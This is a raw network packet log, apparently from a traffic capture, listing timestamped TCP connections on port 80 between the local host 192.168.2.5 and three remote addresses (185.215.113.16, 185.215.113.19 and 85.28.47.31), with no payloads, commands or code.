Jul 27, 2024 12:02:05.195386887 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.195415974 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.208957911 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.208991051 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209053993 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209161043 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209248066 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209248066 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209641933 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209651947 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209661961 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209705114 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209723949 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209733009 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209742069 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209752083 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209762096 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209791899 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209821939 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.209930897 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209940910 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209950924 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209960938 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209970951 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.209992886 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.210024118 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.210124016 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.210184097 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.232450962 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.232547045 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.271703959 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.271811008 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.271822929 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.271956921 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.271956921 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.271971941 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.271981955 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.271991968 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272006035 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272018909 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272027016 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272034883 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272083044 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272106886 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272118092 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272135019 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272167921 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272249937 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272260904 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272269964 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272280931 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272291899 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272308111 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272336960 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272365093 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272428036 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272495985 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272603035 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272612095 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272622108 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272631884 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.272656918 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.272694111 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.340497971 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.340868950 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341249943 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341298103 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341305971 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341347933 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341382027 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341423988 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341458082 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341468096 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341475964 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341480970 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341496944 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341526985 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341562033 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341689110 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341698885 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341703892 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341708899 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341718912 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.341759920 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341789007 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.341993093 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342005968 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342017889 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342029095 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342039108 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342047930 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342052937 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342057943 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342070103 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342080116 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342082977 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342088938 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342128992 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342155933 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342397928 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342413902 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342425108 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342434883 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342449903 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342458963 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342467070 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342469931 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342514038 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342542887 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342677116 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342737913 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.342745066 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342755079 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.342802048 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.345714092 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.345798016 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.345942020 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.346154928 CEST	80	49729	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.346224070 CEST	49729	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.351387024 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.358949900 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:05.359039068 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:05.996824980 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:05.997112036 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:06.002409935 CEST	80	49726	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:06.002502918 CEST	49726	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:06.003026009 CEST	80	49731	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:06.003217936 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:06.003361940 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:06.008310080 CEST	80	49731	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:06.106640100 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.106770992 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.107182980 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.114511967 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.358608961 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.358711958 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.520601034 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.526129961 CEST	80	49730	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.526215076 CEST	49730	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.558937073 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.565880060 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.565989971 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.680360079 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.685456038 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.757527113 CEST	80	49731	185.215.113.19	192.168.2.5
Jul 27, 2024 12:02:06.757597923 CEST	49731	80	192.168.2.5	185.215.113.19
Jul 27, 2024 12:02:06.760766029 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.761039972 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.766130924 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.766205072 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.766311884 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.766876936 CEST	80	49728	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.766931057 CEST	49728	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:06.771783113 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:06.872623920 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:02:06.879367113 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 12:02:06.879448891 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:02:06.879569054 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:02:06.885452986 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 12:02:07.312663078 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.312748909 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.313496113 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.319442034 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.500689983 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 12:02:07.500766039 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:02:07.502649069 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:02:07.508836985 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 12:02:07.527661085 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527687073 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527705908 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527719021 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527720928 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527734995 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527736902 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527751923 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527751923 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527765036 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527769089 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527782917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527807951 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527807951 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527817965 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527832985 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527861118 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527861118 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.527870893 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.527901888 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.533292055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.533348083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.533349037 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.533394098 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.559127092 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.559195995 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.673336029 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.673849106 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697477102 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697506905 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697521925 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697563887 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697585106 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697622061 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697637081 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697653055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697664022 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697689056 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697700977 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697824955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697840929 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697856903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697870970 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697870970 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697885036 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697886944 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697892904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697904110 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.697916031 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.697957039 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698223114 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698236942 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698250055 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698261976 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698265076 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698278904 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698280096 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698295116 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698307037 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698312044 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698318005 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698327065 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698343039 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698355913 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698358059 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.698374987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698374987 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.698402882 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.699539900 CEST	80	49734	85.28.47.31	192.168.2.5
Jul 27, 2024 12:02:07.699557066 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.699594975 CEST	49734	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:02:07.699630976 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.699779034 CEST	49735	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.699996948 CEST	80	49732	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.700057030 CEST	49732	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.703476906 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.703528881 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.706828117 CEST	80	49735	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826427937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826446056 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826469898 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826499939 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826515913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826531887 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.826574087 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826603889 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.826697111 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.826714993 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.826751947 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.827389002 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.827414036 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.827439070 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.827481985 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.827775002 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.827887058 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.827892065 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.827935934 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828005075 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828052998 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828068972 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828083038 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828140974 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828140974 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828372955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828418970 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828423977 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828439951 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828474045 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828500986 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.828569889 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828584909 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.828658104 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.829288006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.829339027 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.829366922 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.829387903 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.829415083 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.829443932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.829592943 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.829639912 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.829674006 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.829741001 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.830184937 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.830229998 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.830245018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.830251932 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.830274105 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.830297947 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.830337048 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.830352068 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.830388069 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.830413103 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.831079960 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.831116915 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.831130028 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.831130981 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.831187010 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.831187010 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.831218958 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.831233978 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.831268072 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.831290960 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:07.833308935 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:07.833365917 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.737319946 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737332106 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737341881 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737396955 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737447977 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.737499952 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737508059 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.737509012 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737519026 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737529993 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737574100 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.737679005 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737689018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737699032 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737708092 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737716913 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.737729073 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.737761974 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.738672018 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.738724947 CEST	49733	80	192.168.2.5	185.215.113.16
Jul 27, 2024 12:02:08.740612984 CEST	80	49733	185.215.113.16	192.168.2.5
Jul 27, 2024 12:02:08.740709066 CEST	49733	80	192.168.2.5	185.215.113.16
